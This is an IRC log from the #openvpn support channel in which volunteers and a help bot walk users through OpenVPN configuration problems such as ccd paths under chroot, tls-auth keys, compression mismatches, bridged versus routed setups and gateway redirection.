13:53 < baobeiiii> its good, it's the only tool i have the competence to use lol
13:53 <@krzee> feth what are the permissions on the ccd dir?
13:54 < feth> krzee: drwxr-xr-x 2 nobody nogroup 1024 21 févr. 20:54 /etc/openvpn/ccd/
13:54 <@krzee> dont want +w, but thats not the problem
13:55 <@krzee> pastebin me ls -l /etc/openvpn/ccd/
13:55 <@krzee> unless its like 3 lines or less
13:55 < feth> the error is TLS related? Thu Feb 21 19:39:36 2013 us=620715 83.167.32.54:1194 TLS Auth Error: --client-config-dir authentication failed for common name 'mglmac26.mgl7.fr' file='/etc/openvpn/ccd/mglmac26.mgl7.fr
13:55 < pekster> baobeiiii: Nothing is changing for now except development builds, and even that's not official until they get merged/accepted upstream. And nothing's getting harder to use (easier actually with less crap to fill out)
13:55 < feth> krzee: it's only 1 line: ifconfig-push 10.100.0.26 10.100.0.1
13:55 <@krzee> and pastebin the server config with no comments
13:56 <@krzee> feth, i said ls -l not cat
13:57 < feth> krzee: ups.
13:57 < feth> the server: http://pastebin.com/TVRASdE5
13:57 < feth> the ccd: -rw-r--r-- 1 nobody nogroup 37 21 févr. 20:28 mglmac26.mgl7.f
13:57 < feth> r
13:58 <@krzee> im betting its the chroot
13:58 <@krzee> mv ccd server/
13:58 < feth> got it also!
13:58 <@krzee> and change ccd line to be /ccd
13:58 < feth> yup
13:58 < feth> thanks, I had it in front of me
13:59 <@krzee> np, you prolly wanna fix that for other files too
13:59 < feth> could'nt see it though
13:59 <@krzee> such as ipp if you really want that
13:59 <@krzee> !ipp
13:59 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
13:59 < feth> krzee: tru
13:59 <@krzee> and logfiles
14:00 < wachpwnski> rats, i extracted all the keys and my vpn connection still fails
14:00 <@krzee> i believe --tls-server is already part of --server
14:00 <@krzee> you're using the default cipher so dont need to specify
14:00 < feth> surprisingly, the log works
14:01 <@krzee> not running scripts, prolly dont want script-security
14:01 < feth> true, also
14:01 <@krzee> never want verb 10
14:01 < feth> I wanted to push weird outes, but found out it was ccd that I needed
14:01 < feth> krzee: I was debugging :)
14:01 <@krzee> 3 is fine for every way, 5 for debug
14:01 <@krzee> s/way/day/
14:02 < feth> ack
14:02 <@krzee> 10 is way too hardcore for me to look at ;]
14:02 < pekster> verb levels higher than 5 are only useful if you're debugging at the source-code level
14:02 < feth> I'm very happy that you're so helpful :)
14:02 < feth> it's rare !
14:03 < feth> krzee: I don't look at logs, I gerp them :)
14:03 < feth> grep
14:04 < pekster> Unless you're specifically asked for higher verbosity, no one here really wants to see logs higher than 4 (or sometimes 5 to identify/rule-out firewall issues)
14:08 < wachpwnski> am I supposed to include the —— BEGIN    part in the keyfiles?
14:08 < kisom> Anyone else getting lots of "Authenticate/Decrypt packet error: bad packet ID" since upgrading to 2.3.0?
14:11 < pekster> wachpwnski: Yes, that's a required part of the key file (and the ending lines.) Text before/after that point is ignored
14:12 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
14:12 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
14:12 -!- mode/#openvpn [+o novaflash] by ChanServ
14:13 < pekster> kisom: My offhand guess for that would be mis-matched comp-lzo settings. That setting must be identical between peers, including any parameter after the directive
14:14 < kisom> pekster: comp-lzo is exactly the same on both sides. This setup used to work perfectly until I upgraded to 2.3. Anyways, I'm gonna try and disable lzo alltogether and see if it works better.
14:16 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Quit: Leaving]
14:16 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 255 seconds]
14:21 -!- Shway [~Shway@216.208.252.66] has joined #openvpn
14:21 < wachpwnski> check this out: Key file 'static.key' used in --tls-auth contains insufficient key material [keys found=1 required=2] -- try generating a new key file with 'openvpn --genkey --secret [file]', or use the existing key file in bidirectional mode by specifying --tls-auth without a key direction parameter
14:22 < pekster> Older versions used smaller key sizes, and depending on your crypto settings, you may need more bits, especially when used in 4 parts with a directional setup
14:23 < pekster> See --secret in the manpage for a more detailed description
14:24 < wachpwnski> Can I convert my current key?
14:24 < wachpwnski> the sucky part is openvpn —config client.ovpn works fine
14:24 < pekster> No. Either use single-directional keys, ore generate a new one
14:24 < wachpwnski> but nm is just being lame
14:25 < pekster> Are you not using a directional parameter on the client side?
14:25 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
14:25 < pekster> Oh, same config, same host, nm verses console? Interesting. the secert.key file is 1024-bit size? not 2048?
14:25 < wachpwnski> Under tls auth, i set keyfile to the v1 openvpn key and set key direction to 1 just like in the config
14:26 -!- baobeiiii [~baobeiiii@180.155.14.35] has joined #openvpn
14:26 < wachpwnski> it's also saying in the logs: WARNING: file 'client.key' is group or others accessible
14:27 < pekster> So fix it...
14:27 < wachpwnski> should I set that to 400 or soemthing?
14:27 < pekster> Yup
14:27 < pekster> 600 is fine too
14:28 < pekster> It's non-fatal, but it's bad practice to have sensitive files open to other users
14:28 < pekster> You wouldn't leave your wallet out in the company kitchen, even if you mostly trust your co-workers
14:28 < wachpwnski> true
14:29 < wachpwnski> so when i change key direction parameter to none or 0 it times out
14:30 < pekster> That's expected behaviour. Manpage knows why under --tls-auth
14:30 < pekster> (which will redirect you to --secret, which I believe I've already mentioned)
14:31 < wachpwnski> looks like I'm stuck using the console for now
14:32 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
14:32 < pekster> networkmanager simply has a crappy openvpn implementation. I'm sure they'd accept patches, but I haven't heard that many good stories from people trying to use it. I used it all of once years ago and swore it off thten
14:33 < wachpwnski> Any other options ?
14:33 < pekster> I put buttons to a shell script to start/stop the VPN in my menubar if I need a GUI launcher
14:33 < pekster> Then again, I tend to have at least 2 terms open each running screen, so I just run openvpn from the console most of the time anyway
14:34 < wachpwnski> off topic, but do you know how to auto respond with a user name and a password in a bash script?
14:35 < pekster> Look up the 'expect' package, then ask yourself if you really want to be doing that
14:35 < pekster> Other way around perhaps ;)
14:35 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
14:35 <@ecrist> wachpwnski: openvpn allows you to put user/pass in a file
14:36 < pekster> If that's the use-case, yes. Of course, if you're not using the user/pass auth mehanism, doing so really isn't any better than leaving your private key unencrypted anyway
14:36 < wachpwnski> oh...
14:37 < wachpwnski> sadly my user pass is something that is non-human maintainable
14:37 < kisom> pekster: The issue with bad packets didn't have anything to do with lzo. I disabled it all together and the client still reports bad packets, both on Windows and Linux. http://pastebin.ca/2316439 See line 254
14:37 < wachpwnski> I would rather monitor my computers access and key my drive encrypted
14:38 < wachpwnski> ecrist:  what do i put in the config for my user and pass?
14:40 < pekster> kisom: What verb level is that? Too high of a verb level and it's actually going to interfere with normal operation as it writes so much to disk and generates many dozens of interrupts for every packet processed
14:41 -!- medum [kevin@whore.n2l.org] has joined #openvpn
14:41 < pekster> kisom: If you're not a developer working to debug a very specific problem in the source code, stop using anything higher than verb 4 for your daily operation
14:41 < kisom> pekster: verb 13. But it doesn't matter, if I use verb 3 I get all the same error.
14:41 < pekster> Well, that high of a verbosity is hiding potentially useful messages at verb 4, such as a backtrack window warning
14:42 < kisom> I checked for that, there are no warnings at all.
14:42 < kisom> MTU is consistent, so is lzo
14:42 -!- mirco [~mirco@p50806731.dip.t-dialin.net] has joined #openvpn
14:44 -!- `nand` [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
14:46 < pekster> Then I'm not sure what to suggest. Maybe test crypto on both ends with the same cipher you're using (ie: openvpn --test-crypto --cipher $c --keysize $s --secret k.key)
14:47 -!- Xgates [~Xgates@unaffiliated/xgates] has joined #openvpn
14:47 < pekster> Could be packet mangling too between peers, or hardware (CPU/NIC) issues too
14:47 < Xgates> hi guys
14:47 < kisom> My gut feeling tells me that the Arch package is broken. I'll try and recompile from scratch and then submit a bug report to whoever is responsible.
14:48 < pekster> Are you using any screwy CFLAGS or optimizations?
14:48 < kisom> No, I use vanilla
14:48 < pekster> Try with something standard like just "-O2 -march=native" or something. Could be openssl at fault too since openvpn is heavily bound to it for crypto ops
14:49 < kisom> Hmm, might as well try and change ciphers. I recently upgraded OpenSSL so it might have something to do with it
14:49 < Xgates> when I use OpenVPN on a supported smart phone that can use OpenVPN Connect, I feel more comfortable with this, instead of using L2TP, because with L2TP your storing a password and secret on the device, whereas with OpenVPN Connect you import your actual certs & keys which to me seems better/safer? Any thoughts on that?
14:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:55 -!- dazo_afk is now known as dazo
15:02 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
15:05 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
15:32 < kisom> This is getting all crazy. The connection works great when using UDP, but not when using TCP.
15:33 < kisom> Makes no sense.
15:37 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
15:37 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
15:38 -!- wachpwnski [~Adium@c-67-176-229-52.hsd1.in.comcast.net] has left #openvpn []
15:42 -!- medum [kevin@whore.n2l.org] has left #openvpn []
15:48 < Xgates> any thoughts here on L2TP vs OpenVPN Connect?
15:48 < Xgates> security wise, etc....
15:49 < kisom> Xgates: OpenVPN Connect works better imo.
15:49 < kisom> It also retains the connection after the device wakes up from sleep
15:50 < Xgates> well I figured it's more secure, don't like the idea of adding in a password and secret on the phone being stored, rather import the actual certs & keys, seems more secure, but not sure...
15:50 < kisom> Doesn't matter. The private key is still stored at the phone.
15:50 < Xgates> hmm
15:52 < Xgates> thanks, gotta run...
15:52 -!- Xgates [~Xgates@unaffiliated/xgates] has quit [Quit: Xgates]
15:52 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Remote host closed the connection]
15:56 -!- p3rror [~mezgani@41.249.81.68] has joined #openvpn
15:57 -!- leg3nd [~leg3nd@unaffiliated/leg3nd] has joined #openvpn
16:06 < leg3nd> afternoon everyone, I am currently trying to get my VPN functioning on my Ubuntu virtual machine. I had this configuration on another (non-vm) before and it worked fine, yet now I am unable to access the hosts within the VPN network when connected. The authentication phase works fine, and the interface opens, I am able to ping the VPN server but not any other hosts. More infomation: http://paste.pound-python.org/raw/6pCUqRCSVryk6wrWrYCq/   - I apprec
16:06 < leg3nd> iate any tips.
16:11 < pekster> leg3nd: Yous shouldn't push the network range for the local VPN network in a bridged setup like that as the client has a link-local route when the address is added
16:12 < leg3nd> pekster, I have tried it without the push options as well but to no avail.
16:12 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
16:12 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
16:13 < pekster> Where's the client connecting in from?
16:16 < leg3nd> pekster, Just tested it without the option again - same result.
16:16 < pekster> Well, regardless you don't want to push the network range you're on-link with
16:17 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
16:17 < pekster> What's the purpose of 'redirect-gateway' ? You really want to take your VPN client's default gateway and send it to a VM inside an ESX network?
16:18 < pekster> Hence the curiousity of where the native client is relative to your LAN
16:19 -!- Shway [~Shway@216.208.252.66] has quit [Quit:  Want to be different? Try HydraIRC -> http://www.hydrairc.com <-]
16:19 < leg3nd> Ideally, but not a big deal either way.
16:20 < leg3nd> The client is connecting is on an external network with no egress firewall rules, I would like the redirect-gateway to secure the traffic in certain use cases. Here is some client debug info: http://paste.pound-python.org/show/MLyszBdltTV1RJTOxfoW/
16:22 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Quit: Leaving, Ya'LL!]
16:22 < pekster> You have mis-matched comp-lzo settings; the client has 'yes' while the server is implicitly using the default 'adaptive' mode
16:22 < pekster> You should match this on both your peers
16:23 < leg3nd> Okay, thanks. Let me give that a try.
16:23 < pekster> That's not the cause of your issue though
16:23 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
16:23 < leg3nd> Okay
16:23 < pekster> Looks like you have a problem getting to ghe gateway environment based on the routing table on the client
16:23 <@dazo> comp-lzo adaptive and comp-lzo yes are compatible
16:24 <@dazo> I even thing comp-lzo no is compatible too ... but not having --comp-lzo at all, will not be compatible
16:24 < pekster> Your default route is via the server's IP, but the only route it has to get there is via tap0
16:25 < kisom> pekster: After compiling OpenVPN on several systems and with different OpenSSL versions I can confirm that the bug really is within openvpn :)
16:25 < pekster> leg3nd: Oh, I'm sorry, I missed your rmeote statement. Nevermind, if 192.168.1.254 is your client's physical gw, you're good
16:25 < kisom> Whatever, I'll rollback to 2.2.
16:25 < leg3nd> yeah that is the physical client GW
16:26 < leg3nd> it seems to be routing out of the client network without issues
16:26 < pekster> I'd try tcpdumping on the br0 interface on the server
16:26 < pekster> I'm wondering if ESX isn't doing something odd with the packets via its own filtering mechanism
16:26 < leg3nd> yeah thats kinda what i was thinking
16:27 < leg3nd> i couldnt seem to find any issues with ESX, but I'll look a little deeper.
16:28 < pekster> That setup looks fine, and with the route for 192.168.254.0/24 via tap0 (ie: the link route) it's going to make an on-link request for the IP: ie: ARP, ARP-reply, then send the ping. Watch for each phase of that process. If you don't see it on br0, try dumping on tap0 on the server, then on the tap0 on the client. Somewhere it has to be getting dropped (or the reply dropped, perhaps)
16:28 < pekster> FYI, on Linux the tools 'ip route show' and 'ip addr show' for routing and addressing are shorter and more informative (it won't help here, but in the future those are the preferred tools)
16:31 < pekster> kisom: Can't speak to your particular situation, but it's not an overall flaw in how 2.3.0 works since many other environments are just fine with the 2.3.x series. I've been using the rc builds and now the official 2.3.0 build on Windows and 3 Linux distros without issue. It's odd to blame openvpn specifically since a crypto failure is likely to be occurring in libopenssl specifically; I'm sure the openvpn devs would love a detailed ...
16:31 < pekster> ... bugreport if you have actually traced it to a bug "really" within openvpn so they can fix it
16:32 < pekster> That's the funny thing about dynamic linking
16:33 -!- sw0rdfish is now known as Guest40293
16:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
16:33 < leg3nd> alright ill give that a try, just talked to a coworker about it and he said there could be an issue with the ESXi configuration possibly also, so i'll check both out.
16:33 < leg3nd> thanks for the help pekster
16:33 < kisom> pekster: Care to try and reproduce the bug? I've done it on both Ubuntu and Arch on 2.3.0.
16:37 < pekster> Reproduce it how? All you've suggested is that mysteriously upgrading to 2.3.0 breaks things. I've refuted that by thte hundreds of people not you that are running it without issue. Proof by counter-example
16:37 < kisom> pekster: That's because I haven't told you.
16:37 < pekster> Right.
16:37 < kisom> Use tcp-server and send packets in a higher rate than the network supports.
16:38 < kisom> I just UDP-flooded the host over the VPN connection.
16:38 < kisom> Well, actually I flooded the client from the server.
16:38 < pekster> What's your queue length on both the virtual and physical adapters, and any special qdiscs?
16:39 < kisom> 1000 on both
16:40 < kisom> I tried compiling both 2.3 and 2.2 on both systems. 2.2 handles the flood without issues.
16:40 -!- leg3nd [~leg3nd@unaffiliated/leg3nd] has quit [Ping timeout: 276 seconds]
16:40 < kisom> And no, no special qdiscs. Both systems are pretty much vanilla.
16:41 -!- Guest40293 [sw0rdfish@unaffiliated/sw0rdfish] has quit [Quit: Leaving, Ya'LL!]
16:45 -!- leg3nd [~leg3nd@unaffiliated/leg3nd] has joined #openvpn
16:45 < leg3nd> pekster, the client doesn't seem to be getting ARP replys for the gateway (192.168.254.1) - but there are replys for the VPN server (251) and the client (26). - http://paste.pound-python.org/show/DWqirK6LM25wvxUQDz5K/
16:48 -!- MeanderingCode_ [~Meanderin@71-213-185-188.albq.qwest.net] has joined #openvpn
16:49 -!- MeanderingCode [~Meanderin@71-213-185-188.albq.qwest.net] has quit [Ping timeout: 248 seconds]
16:50 < pekster> leg3nd: That's dumped from what device, the server's br0, or the client's tap0?
16:50 < leg3nd> server br0
16:50 < pekster> Sounds like an ESX thing then
16:50 < pekster> Pretty sure your vSwitch is hosing you
16:51 < DougEFresh> screen rocks
16:51 < leg3nd> actually it was server tap0
16:51 < leg3nd> but i think youre right
16:53 < pekster> There shouldn't be a difference unless there's crazy bridge-level filtering (ebtables & friends)
16:53 < pekster> It still has to go to the ESX vSwitch, and it can do (or drop) with it what i likes
16:54 < pekster> It's likely being too smart for its own good and stopping you from doing a bridge. You could route instead which might work better
16:54 < pekster> !tunortap
16:54 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:54 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:54 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has joined #openvpn
16:57 -!- sw0rdfish- [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
16:57 -!- leg3nd [~leg3nd@unaffiliated/leg3nd] has quit [Ping timeout: 256 seconds]
16:57 -!- sw0rdfish- [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
16:57 -!- sw0rdfish- [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
16:59 < neilhwatson> Hello,  I'm trying to get an openvpn tunnel that redirects the default gateway.  The client logs show this error:
16:59 < neilhwatson> NOTE: unable to redirect default gateway -- VPN gateway parameter (--route-gateway or --ifconfig) is missing
17:00 < neilhwatson> Is the trouble on the server or the client?
17:00 < pekster> Clearly the client. You can't redirect a gateway if you don't tell the client what that gateway is; push the required directive from the server or define it on the client using the listed parameter
17:01 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
17:02 < neilhwatson> I have this in the server config: "push "redirect-gateway def1" and "pull" in the client config.  What did I miss?
17:03 <@krzee> !configs
17:03 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:07 < neilhwatson> Here they are: https://gist.github.com/neilhwatson/5009289
17:07 <@vpnHelper> Title: Open vpn configs (at gist.github.com)
17:09 -!- sw0rdfish- is now known as sw0rdfish
17:14 < neilhwatson> server version 2.1.3, client version 2.2.1.
17:14 < pekster> You should follow the howto. You can't push a public IP when your server is using an rfc1918 IP, at least not without use 'mode p2p' instead of the default net30 (you probably don't want to do this anyway.) You aren't assigning your client an IP or pushing one, and you haven't pushed a gateway IP
17:15 < pekster> There's quite a bit wrong with the addresing in that setup
17:15 < pekster> !howto
17:15 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
17:15 < pekster> Don't even try to get the gateway redirection set up until you can ping the server's VPN IP from your client. Until you can do that, you don't actually have a working VPN tunnel
17:16 < neilhwatson> 10.0.0.1? I can ping that.
17:17 < pekster> Then why does line 31 say "public IP" ?
17:17 < pekster> 10.0.0.2 is not a public IP
17:17 < neilhwatson> It not  10.0.0.2  It is a public IP.  I remove it for the public paste.
17:19 < pekster> You've manually set up the addressing on the client?
17:19 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
17:20 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
17:20 -!- erry_ is now known as erry
17:21 < neilhwatson> I don't think so.  I believe line 31 does that.
17:22 < pekster> on the sever, yes.
17:23 < pekster> How has your *client* been configured to use the correct addressing?
17:23 < neilhwatson> Sorry, I don't follow you.
17:23 < pekster> How has tun0 been configured?
17:23 < pekster> You are not pushing the IP from the server, and your client config does not use an ifconfig statement
17:24 < pekster> Are you manually invoking ifconfig or /sbin/ip on the client after you connect? Is tun0 already up and pre-populated with the addressing info?
17:26 < neilhwatson> I don't recall how I created tun0 initially.  Here is what it looks like: https://gist.github.com/neilhwatson/5009398
17:26 <@vpnHelper> Title: client tun0 (at gist.github.com)
17:26 < pekster> Ah, okay, so you've statically configured it. Then add the gateway (this is your point-to-point address of 10.0.0.1, or the server's IP) manually in your client config via 'route-gateway'
17:27 < pekster> Just like the client error message says
17:27 < pekster> You can't push options in a p2p setup like you have (that's only valid in 'mode server' which you are not using, apparently.)
17:28 < pekster> You can put 'redirect-gateway def1' in your client config though. Do that with the 'route-gateway' option and you should be set
17:28 < neilhwatson> Is mode server better?  I'm all for doing it the standard way.
17:28 < pekster> Well, depends on what you want. You can't easily manage the public addresing like you have now in the server mode
17:29 < pekster> So if you have already handled your upstream routing to deal with sending the public IP to the server and the server firewall allows the forwarded traffic to the client, you might as well stick with what you have
17:29 < neilhwatson> OK.  Thanks. I'll give it a go.
17:29 -!- MeanderingCode [~Meanderin@71-213-185-188.albq.qwest.net] has joined #openvpn
17:29 < pekster> If what I just said makes no sense to you, then you're going to be on your own becuase your setup is pretty complicated for what I think you're trying to do. Most people don't assign a p2p address with a public IP like you're doing
17:30 -!- MeanderingCode_ [~Meanderin@71-213-185-188.albq.qwest.net] has quit [Ping timeout: 244 seconds]
17:30 < pekster> I mean, it's valid to do this, it just requires everything to be routed in just the right way beforehand or it won't work
17:33  * pekster didn't actually know it was allowed to use X509/TLS in p2p mode, but apparently it is, since I was able to clone your setup and launch a service that way. Go figure
17:35 < pekster> neilhwatson: Come to think of it, the pull/push might work too since there is actually a control channel. In that case you'd just need to do: push "route-gateway 10.0.0.1"
17:35 < pekster> I'm not actually sure offhand if that works or not
17:35 < neilhwatson> My goal is to give a computer with dynamic ISP IP at static IP from a remote server and tunnel all traffic through.  How would you do it?
17:36 < pekster> No, that's a fine way to do it, assuming your public IP you've assigned the client is *routed* and not on-link (this is a very critical distinction)
17:36 < pekster> Is that the case?
17:36 < neilhwatson> How do I confirm that?
17:37 < pekster> What is the server? How did you get the "<public IP to go to client>" address?
17:38 < neilhwatson> From the datacenter staff.
17:38 < pekster> Okay. And you have a separate IP that the server uses for its own uplink, right?
17:38 < neilhwatson> Yes
17:38 < neilhwatson> Networking hurts my brain at times.
17:38 < pekster> You still need this IP you're assigning the client routed, not on-link. I guess we'll known soon enough if it worked
17:39 < pekster> If you just got a "2nd IP" assigned on your Ethernet link, it's not routed, but expected to be on-link and respond to ARPs (which would mean you'd need to bridge with tap, not use tun)
17:39 < pekster> tun=routing, tap=bridging
17:40 < pekster> So, back to your original config, try just adding what I said earlier: push "route-gateway 10.0.0.1"
17:40 < pekster> Then reconnect the client
17:40 < pekster> See if that error goes away
17:40 < neilhwatson> Stand by
17:41 < kisom> pekster: Did you try and reproduce the issue I'm having with tcp-server?
17:41 -!- dazo is now known as dazo_afk
17:42 < pekster> kisom: Not yet. I'll poke at it and see what I find though; it sounds curious
17:43 < neilhwatson> Something went  wrong.  A new route was set but traffic did not seem to go anywhere.  When I stopped the client the routing returned to what is was before.
17:44 < kisom> pekster: Roger. It seems flooding the server from the client side does not reproduce it, you must flood from the server side.
17:44 < pekster> Either a firewall problem, or this public IP is not routed to you neilhwatson
17:44 < neilhwatson> I cleared my fw rules to be sure.  Client logs show this:
17:44 < neilhwatson> Feb 21 18:40:43 ettin ovpn-ettin[23549]: PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,route-gateway 10.0.0.1'
17:44 < neilhwatson> Feb 21 18:40:43 ettin ovpn-ettin[23549]: OPTIONS IMPORT: route options modified
17:44 < neilhwatson> Feb 21 18:40:43 ettin ovpn-ettin[23549]: OPTIONS IMPORT: route-related options modified
17:44 < neilhwatson> Feb 21 18:40:43 ettin ovpn-ettin[23549]: ROUTE default_gateway=72.138.34.1
17:44 < pekster> neilhwatson: This server is Linux? Can you pastebin 'iptables-save -c' ? and the output of 'cat /proc/sys/net/ipv4/ip_forward' ?
17:45 < neilhwatson> Both hosts are linux
17:45 < pekster> Yea, so you're getting thte push
17:45 < pekster> Let's look at the firewall and IP forwarding
17:45 -!- MeanderingCode [~Meanderin@71-213-185-188.albq.qwest.net] has quit [Ping timeout: 255 seconds]
17:46 < pekster> kisom: Yea. Might be a day or two (family stuff, and I stayed up way later than I should have last night hunting the last problem I was motivated to fix :)
17:46 < neilhwatson> ip_forward is 1 on both.  Iptables are clear and default to accept.
17:46 < kisom> pekster: Not a problem. I'll write down the details so I can reproduce it later.
17:47 < kisom> Anyways, time to sleep. nn.
17:47 < pekster> neilhwatson: What do you mean 'clear'? iptables-save should still show you something even if there are no rules. Or do you mean your rules look *exactly* like this: http://paste.kde.org/677966/
17:49 < neilhwatson> https://gist.github.com/neilhwatson/5009548
17:49 <@vpnHelper> Title: iptables (at gist.github.com)
17:50 < pekster> Looks like the 2nd IP on your server is on-link, not routed. Tell upstream (your provider) you want it routed to the server's primary IP
17:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:50 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
17:51 < pekster> That, or create a brdige with tap0 and your existing public interface on the server, put your public IP on the bridge, and connect your VPN in tap mode to that bridge and set the IP that way on your client
17:51 < pekster> Both end up doing the same thing
17:52 < neilhwatson> That IP worked a few weeks ago as a different VM, which is now retired.  Could the fact the server is a VM be an issue?
17:52 < pekster> It doesn't work becuase there's no link
17:52 < pekster> tun=routed
17:53 < pekster> If you don't understand the difference between a routed and bridged network, this enetire setup is quite frankly beyond what you should be attempting to do
17:54 < pekster> You have 2 options, exactly as I said a moment ago: either tell your provider to route this 2nd IP to you via the server's primary IP, or use openvpn in tap mode and connect it to a bridge that you create on your server's upstream-facing interface
17:55 < pekster> Those are your only 2 options if you want the client to have a direct public IP
17:55 < neilhwatson> Let me think about it.  Thanks for your help.
17:55 < pekster> Your 3rd option is to follow the classic howto guide online, give the client a private IP (rfc1918) and NAT the traffic
17:56 < pekster> If you choose to go that route (classic priivate IP space + NAT) these are the relevant guides as the setup is a bit more "standard" than the speciality setup you have now
17:56 < pekster> the basic howto is here:
17:56 < pekster> !howto
17:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
17:56 < pekster> And a redirection setup on top of that is:
17:56 < pekster> !redirect
17:56 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:56 <@vpnHelper> http://ircpimps.org/redirect.png
17:57 < neilhwatson> Yes, I have that booked marked.
17:57 < pekster> It's not super-hard to turn your setup in a tap (bridged) setup
17:58 < neilhwatson> I prefer to avoid NAT.  NAT is always off putting.
17:58 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Quit: Leaving, Ya'LL!]
17:58 < pekster> However, that would require removing the addressing from the server-side, and you'd need to set up the bridge manually since the primary server IP needs to go on the bridge interface, *not* the physical interface. Both tap0 (or w/e you call your tap device) and your physical NIC need to go into the bridge
17:58 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
17:58 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
17:58 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
17:59 < pekster> Then you simply connect the client to the VPN and give it an IP like you would any other interface, and it joins the server just like a network switch (bridged is basically a "virtual switch" for Ethernet links)
18:00 < pekster> Ah, we have a factoid for that too:
18:00 < pekster> !bridge
18:00 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
18:02 -!- raidz is now known as raidz_away
18:05 < pekster> Anyway, I'm out for a bit. Good luck - you're closer than you think, you just need to fix the routed vs bridged problem you have
18:06 < pekster> (oh, and if you bridge, you don't set your gateway to 10.0.0.1, since that address becomes meaningless - the server won't have a "separate" VPN IP if you bridge, and your client will use whatever your ISP's router is as it's gateway.)
18:07 < neilhwatson> Right, it's a lower level.  Thanks for the tips.  I'll probably sleep on it.
18:11 -!- JSharpe [~JSharpe@188.227.181.234] has quit [Quit: Leaving]
18:15 < JesseC> When you setup an openvpn server, is it possible to assign an address to the server that's in the same subnet as the dhcp addresses handed out to the clients?
18:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
18:16 < JesseC> ie, you connect to the server via the public ip, but once on the vpn you can ssh into it using an internal vpn ip
18:17 -!- BtbN [~btbn@btbn.de] has left #openvpn ["Verlassend"]
18:27 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
18:37 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
18:42 -!- erry [erry@freenode/staff/erry] has quit [Ping timeout: 624 seconds]
18:58 -!- leg3nd [~leg3nd@unaffiliated/leg3nd] has joined #openvpn
